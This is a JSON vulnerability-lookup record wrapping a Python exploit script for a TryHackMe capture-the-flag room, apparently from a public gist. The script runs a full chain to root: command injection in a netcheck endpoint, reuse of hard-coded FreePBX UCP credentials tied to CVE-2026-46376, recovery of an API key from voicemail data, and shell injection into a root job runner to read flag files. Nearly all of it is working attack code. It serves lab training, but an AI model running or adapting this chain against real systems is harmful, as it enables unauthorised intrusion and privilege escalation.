{"uuid": "19a28309-d016-4845-afd2-27876838589f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46376", "type": "seen", "source": "https://gist.github.com/anir0y/7ee4801cba330d1ae562d3e9a6422b0e", "content": "#!/usr/bin/env python3\n\"\"\"\nInfinity Pool (TryHackMe, Hacker Holidays 2026 Day 11) - full chain to root.\n\n  1. Command injection in the edge tool /internal/netcheck (ping, shell=True)\n     gives code execution as the web user and the user flag.\n  2. The Watchtower ops console on 127.0.0.1:3000 leaks FreePBX UCP credentials\n     and the automation endpoint on 127.0.0.1:9000.\n  3. CVE-2026-46376: FreePBXUCPTemplateCreator ships with hard-coded UCP\n     credentials. Logging into UCP unlocks the mailbox.\n  4. The automation Bearer key is stashed in a voicemail message's caller-ID,\n     read back through the UCP Voicemail grid API.\n  5. The automation job runner on :9000 runs as root and builds\n       tar czf /var/automation/exports/.tgz /var/automation/data\n     with the attacker-controlled report name. Injecting a shell metacharacter\n     into report executes commands as root.\n\nThe internal services are loopback-only, so this script runs its curls THROUGH\nthe netcheck command injection (the same primitive as the foothold). Point it at\nthe public edge IP.\n\nUsage:\n    python3 infinity_pool.py 10.10.10.10\n\nAuthor: anir0y  |  https://classroom.anir0y.in\n\"\"\"\n\nimport sys\nimport re\nimport requests\n\nUCP_USER = \"FreePBXUCPTemplateCreator\"     # CVE-2026-46376 hard-coded template account\nUCP_PASS = \"St4yN0t1c3d_2026\"              # leaked by the watchtower /api/config\nVM_EXT = \"9919988\"                          # the template account's extension\n\n\ndef netcheck(base, cmd):\n    \"\"\"Run a shell command on the box via the edge command injection, return stdout.\"\"\"\n    r = requests.post(f\"{base}/internal/netcheck\",\n                      data={\"host\": f\"127.0.0.1; {cmd}\"}, timeout=30)\n    m = re.search(r'\n(.*?)', r.text, re.S)\n    out = m.group(1) if m else \"\"\n    # strip the ping noise the command shares its output with\n    return \"\\n\".join(l for l in out.splitlines()\n                     if not re.search(r\"PING |icmp_seq|packet loss|rtt min|--- 127\", l))\n\n\ndef main():\n    if len(sys.argv) < 2:\n        sys.exit(f\"usage: {sys.argv[0]} \")\n    base = f\"http://{sys.argv[1]}\"\n\n    print(\"[*] step 1: command injection -> web + user flag\")\n    print(\"    \" + netcheck(base, \"id\").strip())\n    print(\"    user flag: \" + netcheck(base, \"cat /home/web/user.txt\").strip())\n\n    print(\"[*] step 2: watchtower leaks the UCP creds and the automation endpoint\")\n    print(\"    \" + netcheck(base, \"curl -s http://127.0.0.1:3000/api/config\").strip()[:160] + \" ...\")\n\n    # steps 3-4 run entirely on the box (UCP is loopback-only). A small helper\n    # script is executed via the injection: log in, then read the voicemail grid.\n    print(\"[*] step 3+4: UCP login (CVE-2026-46376) and read the key from the voicemail CID\")\n    helper = r'''\nB=http://127.0.0.1:8080\nTOK=$(curl -s -c /tmp/cj $B/ucp/index.php | grep -oE 'name=\"token\" value=\"[^\"]+\"' | grep -oE 'value=\"[^\"]+\"' | head -1 | sed 's/value=\"//;s/\"//')\ncurl -s -b /tmp/cj -c /tmp/cj -X POST $B/ucp/index.php --data-urlencode \"username=%s\" --data-urlencode \"password=%s\" --data-urlencode \"token=$TOK\" --data \"module=User&command=login\" >/dev/null\ncurl -s -b /tmp/cj -H \"X-Requested-With: XMLHttpRequest\" \"$B/ucp/index.php?module=voicemail&command=grid&folder=INBOX&ext=%s\"\n''' % (UCP_USER, UCP_PASS, VM_EXT)\n    grid = netcheck(base, \"bash -c \" + repr(helper))\n    km = re.search(r\"cc_auto_[0-9a-f]+\", grid)\n    if not km:\n        sys.exit(\"[-] could not recover the automation key from the voicemail\")\n    key = km.group(0)\n    print(\"    automation key: \" + key)\n\n    print(\"[*] step 5: inject into the root job runner's report name\")\n    cmd = (\"curl -s -X POST http://127.0.0.1:9000/jobs/export \"\n           f\"-H 'Authorization: Bearer {key}' -H 'Content-Type: application/json' \"\n           \"-d '{\\\"report\\\":\\\"x; id; echo ---; cat /root/root.txt #\\\"}'\")\n    out = netcheck(base, cmd)\n    print(out.strip())\n    fm = re.search(r\"THM\\{[^}]+\\}\", out)\n    if fm:\n        print(\"\\n[+] root flag: \" + fm.group(0))\n\n\nif __name__ == \"__main__\":\n    main()\n", "creation_timestamp": "2026-08-07T16:11:35.427559Z"}